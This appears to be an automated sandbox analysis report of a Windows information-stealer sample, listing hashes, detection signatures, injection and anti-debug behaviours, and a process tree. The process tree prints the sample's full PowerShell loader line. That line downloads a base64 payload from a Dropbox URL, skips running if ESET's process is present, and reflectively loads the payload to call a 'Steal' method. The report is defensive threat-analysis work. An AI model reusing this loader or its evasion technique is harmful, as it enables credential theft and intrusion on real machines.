Analysis
- max time kernel
148s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
29/09/2026, 15:03
Static task
static1
Behavioral task
behavioral1
Sample
2026-09-29_e06ae679d575963cc59a98a59926240f_akira_cobalt-strike_icedid_rusty-stealer_satacom.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
2026-09-29_e06ae679d575963cc59a98a59926240f_akira_cobalt-strike_icedid_rusty-stealer_satacom.exe
Resource
win11ltsc2024-20260911-en
General
- Target 2026-09-29_e06ae679d575963cc59a98a59926240f_akira_cobalt-strike_icedid_rusty-stealer_satacom.exe
- Size 650KB
- Sample260929-se64xsty3k
- SHA256 545cc3348e4b3e3eaa89344ab39b27284fbae6690d3b2cd1f599de2e43a3c84a
- MD5 e06ae679d575963cc59a98a59926240f
- SHA1 9f2d3817649998cb2eb9ac3d59a910797f16672f
- SHA512 ca344ad138a31e962f987bf282e58bdd3264a6c39b4431a55e1343054221f59bf2dd9d20173694b6b1ab68887062418c736156094fbec0f65a1eb38a405d21bb
- SSDEEP 6144:GtS9Tl8+NUIX/1nLzy6pVmVDab6mMiCz8GP6weIgSUsQglLFV2v9L:YS9RlvUmQ8GP6EN3RVW9
- TLSH T116E4D302E6018BF9D21E843391528553BD223CB5EB31D9BBA5B47E3CF9F7690C929E10
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 19 IoCs
resource yara_rule behavioral2/memory/2484-122-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral2/memory/2484-111-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral2/memory/2484-121-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral2/memory/2484-124-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral2/memory/2484-123-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral2/memory/2484-119-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral2/memory/2484-116-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral2/memory/2484-115-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral2/memory/2484-114-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral2/memory/2484-120-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral2/memory/2484-118-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral2/memory/2484-117-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral2/memory/2484-112-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral2/memory/2484-126-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral2/memory/2484-127-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral2/memory/2484-128-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral2/memory/2484-136-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral2/memory/2484-140-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral2/memory/2484-134-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers - Detects executables containing URLs to raw contents of a Github gist 19 IoCs
resource yara_rule behavioral2/memory/2484-75-0x0000018AC6170000-0x0000018AC620F000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL behavioral2/memory/2484-74-0x0000018AC6170000-0x0000018AC620F000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL behavioral2/memory/2484-72-0x0000018AC6170000-0x0000018AC620F000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL behavioral2/memory/2484-73-0x0000018AC6170000-0x0000018AC620F000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL behavioral2/memory/2484-71-0x0000018AC6170000-0x0000018AC620F000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL behavioral2/memory/2484-85-0x0000018AC6170000-0x0000018AC620F000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL behavioral2/memory/2484-87-0x0000018AC6170000-0x0000018AC620F000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL behavioral2/memory/2484-81-0x0000018AC6170000-0x0000018AC620F000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL behavioral2/memory/2484-79-0x0000018AC6170000-0x0000018AC620F000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL behavioral2/memory/2484-86-0x0000018AC6170000-0x0000018AC620F000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL behavioral2/memory/2484-83-0x0000018AC6170000-0x0000018AC620F000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL behavioral2/memory/2484-84-0x0000018AC6170000-0x0000018AC620F000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL behavioral2/memory/2484-82-0x0000018AC6170000-0x0000018AC620F000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL behavioral2/memory/2484-80-0x0000018AC6170000-0x0000018AC620F000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL behavioral2/memory/2484-78-0x0000018AC6170000-0x0000018AC620F000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL behavioral2/memory/2484-94-0x0000018AC6170000-0x0000018AC620F000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL behavioral2/memory/2484-105-0x0000018AC6170000-0x0000018AC620F000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL behavioral2/memory/2484-125-0x0000018AC6170000-0x0000018AC620F000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL behavioral2/memory/2484-129-0x0000018AC6170000-0x0000018AC620F000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL - Detects executables packed with ConfuserEx Mod 1 IoCs
resource yara_rule behavioral2/memory/4404-16-0x00000239EC850000-0x00000239EC86A000-memory.dmp INDICATOR_EXE_Packed_ConfuserEx - Detects executables referencing many IR and analysis tools 18 IoCs
resource yara_rule behavioral2/memory/2484-18-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp INDICATOR_SUSPICIOUS_References_SecTools behavioral2/memory/2484-36-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp INDICATOR_SUSPICIOUS_References_SecTools behavioral2/memory/2484-37-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp INDICATOR_SUSPICIOUS_References_SecTools behavioral2/memory/2484-29-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp INDICATOR_SUSPICIOUS_References_SecTools behavioral2/memory/2484-35-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp INDICATOR_SUSPICIOUS_References_SecTools behavioral2/memory/2484-34-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp INDICATOR_SUSPICIOUS_References_SecTools behavioral2/memory/2484-33-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp INDICATOR_SUSPICIOUS_References_SecTools behavioral2/memory/2484-32-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp INDICATOR_SUSPICIOUS_References_SecTools behavioral2/memory/2484-31-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp INDICATOR_SUSPICIOUS_References_SecTools behavioral2/memory/2484-30-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp INDICATOR_SUSPICIOUS_References_SecTools behavioral2/memory/2484-28-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp INDICATOR_SUSPICIOUS_References_SecTools behavioral2/memory/2484-27-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp INDICATOR_SUSPICIOUS_References_SecTools behavioral2/memory/2484-26-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp INDICATOR_SUSPICIOUS_References_SecTools behavioral2/memory/2484-38-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp INDICATOR_SUSPICIOUS_References_SecTools behavioral2/memory/2484-39-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp INDICATOR_SUSPICIOUS_References_SecTools behavioral2/memory/2484-41-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp INDICATOR_SUSPICIOUS_References_SecTools behavioral2/memory/2484-42-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp INDICATOR_SUSPICIOUS_References_SecTools behavioral2/memory/2484-101-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp INDICATOR_SUSPICIOUS_References_SecTools - Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 5 4404 powershell.exe 7 4404 powershell.exe 10 4404 powershell.exe -
pid Process 4404 powershell.exe - Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 23 discord.com 32 discord.com 1 discord.com 3 raw.githubusercontent.com 20 raw.githubusercontent.com - Drops desktop.ini file(s) 1 IoCs
description ioc Process File opened for modification C:\Users\Public\Pictures\desktop.ini plasrv.exe - Enumerates connected drives 3 TTPs 6 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process \??\E:\ plasrv.exe File opened (read-only) \??\F:\ plasrv.exe \??\F:\ powershell.exe \??\F:\ plasrv.exe File opened (read-only) \??\F: plasrv.exe File opened (read-only) \??\E:\ plasrv.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 2 IoCs
pid Process 2484 plasrv.exe 2484 plasrv.exe - Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
pid Process 4404 powershell.exe - Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5856 cmd.exe - Enumerates system info in registry 2 TTPs 6 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS plasrv.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer plasrv.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName plasrv.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BaseBoardManufacturer plasrv.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVersion plasrv.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVendor plasrv.exe - Suspicious behavior: EnumeratesProcesses 12 IoCs
pid Process 4404 powershell.exe 4404 powershell.exe 4404 powershell.exe 4404 powershell.exe 4404 powershell.exe 4404 powershell.exe 2484 plasrv.exe 2484 plasrv.exe 2484 plasrv.exe 2484 plasrv.exe 2484 plasrv.exe 2484 plasrv.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4404 powershell.exe - Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 5484 wrote to memory of 4404 5484 2026-09-29_e06ae679d575963cc59a98a59926240f_akira_cobalt-strike_icedid_rusty-stealer_satacom.exe 89 PID 4404 wrote to memory of 5856 4404 powershell.exe 91 PID 5856 wrote to memory of 2484 5856 cmd.exe 93 PID 4404 wrote to memory of 2484 4404 powershell.exe 93 PID 4404 wrote to memory of 2484 4404 powershell.exe 93 PID 4404 wrote to memory of 2484 4404 powershell.exe 93 PID 4404 wrote to memory of 2484 4404 powershell.exe 93 PID 4404 wrote to memory of 2484 4404 powershell.exe 93 PID 4404 wrote to memory of 2484 4404 powershell.exe 93 PID 4404 wrote to memory of 2484 4404 powershell.exe 93 PID 4404 wrote to memory of 2484 4404 powershell.exe 93 PID 4404 wrote to memory of 2484 4404 powershell.exe 93
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-09-29_e06ae679d575963cc59a98a59926240f_akira_cobalt-strike_icedid_rusty-stealer_satacom.exe"C:\Users\Admin\AppData\Local\Temp\2026-09-29_e06ae679d575963cc59a98a59926240f_akira_cobalt-strike_icedid_rusty-stealer_satacom.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:5484 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy RemoteSigned -Command " if((Get-Process -Name ekrn -ErrorAction SilentlyContinue) -eq $null){[Reflection.Assembly]::Load([Convert]::FromBase64String((Invoke-RestMethod 'https://www.dropbox.com/scl/fi/1h0ykginoto5u4z0yvwvx/mogling?rlkey=mpass52bkm1a0fbs9ag2cpix1&st=813b4ttj&dl=1'))).GetType('Big.File')::Steal()} "2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4404 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c plasrv.exe3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5856 -
C:\Windows\system32\plasrv.exeplasrv.exe4⤵
- Drops desktop.ini file(s)
- Enumerates connected drives
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:2484
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